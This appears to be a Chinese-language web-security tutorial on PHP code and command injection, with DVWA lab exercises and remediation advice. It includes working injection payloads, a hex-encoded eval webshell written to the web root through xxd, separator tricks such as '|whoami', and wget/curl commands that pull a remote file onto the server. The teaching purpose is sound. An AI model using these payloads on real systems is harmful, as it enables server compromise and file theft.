代码&命令注入漏洞

代码注入漏洞简介

漏洞成因
由于服务端存在执行的函数,在使用的过程中没有做好一个严格的控制,造成了实际的参数在客户端中可控。
漏洞危害
敏感信息泄露
webshell获取
命令执行
任意文件读取
权限提升

代码执行相关函数

  1. eval()(静态调用):
    把字符串code作为PHP代码执行 该字符串必须是合法的PHP代码,且必须以分号结尾。
  2. assert()( assert():判断是否为字符串,是则当成代码执行,实际它是PHP中的断言,
    断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特点该的表达式为真。如果该表达式为假,就中断操作。
    assret()会检查指定的assertion并在结果为FALSE时采取适当的行动。
  3. preg_replace():
    preg_replace 执行一个正则表达式的搜索和替换
    preg_replace( $pattern, $replacement, $subject )
    搜索subject中匹配pattern的部分,以replacement进行替换。
    当使用为/e修饰时,$replacement是代码时代码会执行。
  4. create_function()
  5. array_map():
    为数组的每个元素应用回调函数
    array_map( $callback, $array1[, array $…] )
    array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
  6. call_user_func():
    把第一个参数作为回调函数调用
    call_user_func( $callback, $parameter)
    第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
  7. call_user_func_array():
    调用回调函数,并把一个数组参数作为回调函数的参数
    call_user_func_array( $callback, array $param_arr)
    把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调 函数的的参数传入
  8. array_filter() :
    依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含
    在返回的结果数组中。数组的键名保留不变。
  9. usort():
    使用自定义函数对数组进行排序。
  10. ${}:
    中间的php代码将会被解析。

静态函数执行:
eval()函数是将输入的字符串当做PHP代码执行。
assert()会检查指定的 assertion(断言) 并在结果为 FALSE 时采取适当的行动。
实例代码:


动态函数执行:
实例代码:


利用方式:

获取绝对路径:
__FILE__是php预定义的常量,可以用来获取当前文件的绝对路径,?code=print(_FILE_);
文件读取:
file_get_contents()函数用来读取服务器文件,?code=var_dump(file_get_contents(‘c:\windows\win.ini’));
写入一句话木马:
使用file_put_contents()函数写入一句话木马,前提必须知道路径,?code=file_put_contents('$_POST['filename']','$_POST['code']');
然后借助hackbar去提交filename=shell.php&code=即可在当前目录生成一句话木马。

修复建议:

升级到PHP 7.1
php.ini中,关闭“allow_url_fopen”。在打开它的情况下,可以通过 phar:// 等协议丢给include,让其执行动态代码。
永远不要在代码中使用eval。
严格进行过滤。

命令注入漏洞简介

漏洞介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。
漏洞成因
用户可控点可以使用管道符进行命令拼接
参数点的过滤不严格,或者可以被绕过
漏洞危害
继承Web服务器程序的权限,去执行系统命令
继承Web服务器程序的权限,读写文件
反弹shell
写Webshell
控制整个网站
甚至控制整个服务器
相关函数
system() 有回显, 输出并返回最后一行shell结果。
passthru()(有回显),只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
exec() (回显最后一行-必须echo输出)不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
shell_exec() (无回显-必须输出)
反引号:``
popen(handle,mode)(无回显,返回指针,需要将结果存到文件中)不会直接返回执行结果,而是返回一个文件指针
proc_open(‘cmd’,‘flag’,‘flag’)(无回显)不会直接返回执行结果,而是返回一个文件指针
命令注入漏洞及利用
实例代码:


实例代码:


命令注入绕过:
Windows:
WINDOWS:用^转义<,即执行echo^>web可写目录加文件完整名字
LINUX:需要用\来转义<,不过很多PHP都默认开启gpc(魔术引号magic_qutes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原。
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
管道符说明:
|:管道符,将一个程序的输出作为另一个程序的输入
>:输出重定向,将程序的输出流入到某个程序或者文本中
>>:追加输出重定向,将输出的内容追加到一个文件的末尾
<:输入重定向,将输入的内容重定向到文件或程序中
其他特殊符号:
Windows平台:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
Linux平台:
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能真 ping 127.0.0.1&&whoami

漏洞靶场实战

LOW级别:127.0.0.1|whoami
代码&命令注入漏洞_第1张图片
medium级别:127.0.0.18dir
代码&命令注入漏洞_第2张图片
hight级别:127.0.0.1|whami

代码&命令注入漏洞_第3张图片
Imopssible简单解析
发现它限制了我们的IP格式,这就是所谓的白名单,可以有效的防止命令注入。不推荐黑名单,应该可以通过双引号,略过黑名单,linux下还支持单引号
代码&命令注入漏洞_第4张图片
代码&命令注入漏洞_第5张图片
利用命令执行写入一句话
前提:有写入权限
执行PWD得到绝对路径
直接写:?cmd=echo"">info.php
不可写时:?cmd=wget -o /var/www/html/info.php http://www.remote.com/phpinfo/txt
不可写时:?cmd=curl http://www/remote.com/phpinfo.txt>/var/www/html/info.php
修复建议:
输入点字符串转义、转码
禁用一些危险函数,关闭 exec,passthru,shell_exec,system 等函数,禁止PHP调用外部程序。
黑名单:过滤特殊字符或替换字符
白名单:只允许特殊输入的类型/长度

你可能感兴趣的:(计算机)